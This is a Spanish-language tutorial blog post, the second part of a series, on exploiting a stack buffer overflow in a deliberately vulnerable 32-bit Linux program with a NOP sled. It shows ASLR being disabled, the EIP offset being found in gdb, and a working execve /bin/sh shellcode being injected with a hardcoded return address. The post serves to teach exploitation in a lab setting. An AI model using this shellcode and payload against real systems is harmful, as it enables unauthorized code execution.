q3rv0

Follow the white rabbit….

Desbordando El Buffer en Linux X86 (II) [NOP Sled]

En el anterior post se hizo una pequeña introduccion al funcionamiento del stack y a los registros del procesador, ademas se logro modificar el flujo de datos de un programa para que atente a una funcion que no habia sido llamada.

En este nuevo apartado se vera como inyectar un shellcode en la memoria para lograr ejecutar codigo a travez del desbordamiento.

Para el poc se va a utlizar el mismo source que la vez pasada salvo que el buffer aumentara su tamaño a 500 bytes. Seguimos lo mismos pasos que en el paper anterior.

Desactivamos ASLR

1
echo 0 > /proc/sys/kernel/randomize_va_space

y compilamos

1
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o vuln vuln.c

Abrimos gdb y arrancamos por pasarle 506 caracteres

1
run $(python -c 'print "\x41"*506')

Ya vemos como se va llenando el EIP

Agregamos 2 mas y lo terminamos de completar.

1
run $(python -c 'print "\x41"*508')

Ahora bien hasta aca todo perfecto, ahora tenemos que buscar donde poder incrustar el shellcode.

Un shellcode no es mas que un conjunto de instrucciones en ensamblador programado para una tarea especifica, el shellcode que se vera a continuacion nos dara una sesion sh en el sistema. Como dije anteriormente una vez que pasamos el tamaño limite del buffer, los datos comienzan a escribirse en los demas registros, entonces vamos a ver en que otro lugar se mandaron las A’s, si le echamos una ojeada al registro ESP.

1
x/100x $esp

El anterior comando nos mostrara 100 direcciones dentro de ESP

Se puede ver que parte del buffer se ha inyectado al registro, perfect! Ahora solamente tenenemos que buscar/generar un shellcode acorde a nuestra arquitectura y OS

Podriamos generarlo con metasploit, pero para este apartado voy a utilizar uno que encontre en shell-storm

http://shell-storm.org/shellcode/files/shellcode-827.php

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

El shellcode tiene un tamaño de 23 bytes por le que le restamos la long al buffer-4 bytes pertenecientes al EIP y lo incluimos dentro del payload

Quedando asi

508 NOPS – 4 bytes (EIP) =504

504 NOPS – 23 bytes (SHELLCODE) = 481 NOPS

Payload= \x90*481+shellcode(23)+EIP(4)

En este punto paso a explicar algo, por que reemplaze \x41 por \x90?

\x90 es un NOP (no operacion), un NOP es una instruccion en ensamblador que simplemente no hace nada y nos servira como puente al shellcode que se escribe despues de esta.

Ahora miremos como quedo el ESP luego de inyectar el payload, para esta ejecucion reemplaze el EIP por \x42=B.

1
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x42"*4')
1
x/100x $esp

En el recuadro verde vemos como se colaron los NOPS y en el rojo se ve como empieza a filtrarse el shellcode.

Ahora lo unico que tenemos que hacer es indicar en el EIP cualquier direccion de memoria en donde se hayan alojado los NOPS

Usaremos esta : 0xbffffc70

La invertimos, inyectamos y esperamos la shell!

1
run $(python -c 'print "\x90"*481+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x70\xfc\xff\xbf"')

Hasta el momento se vio como explotar satisfactoriamente el desbordamiento, desactivando previamente ASLR para el proximo se vera una forma de bypassear ese sistema de seguridad. saludos!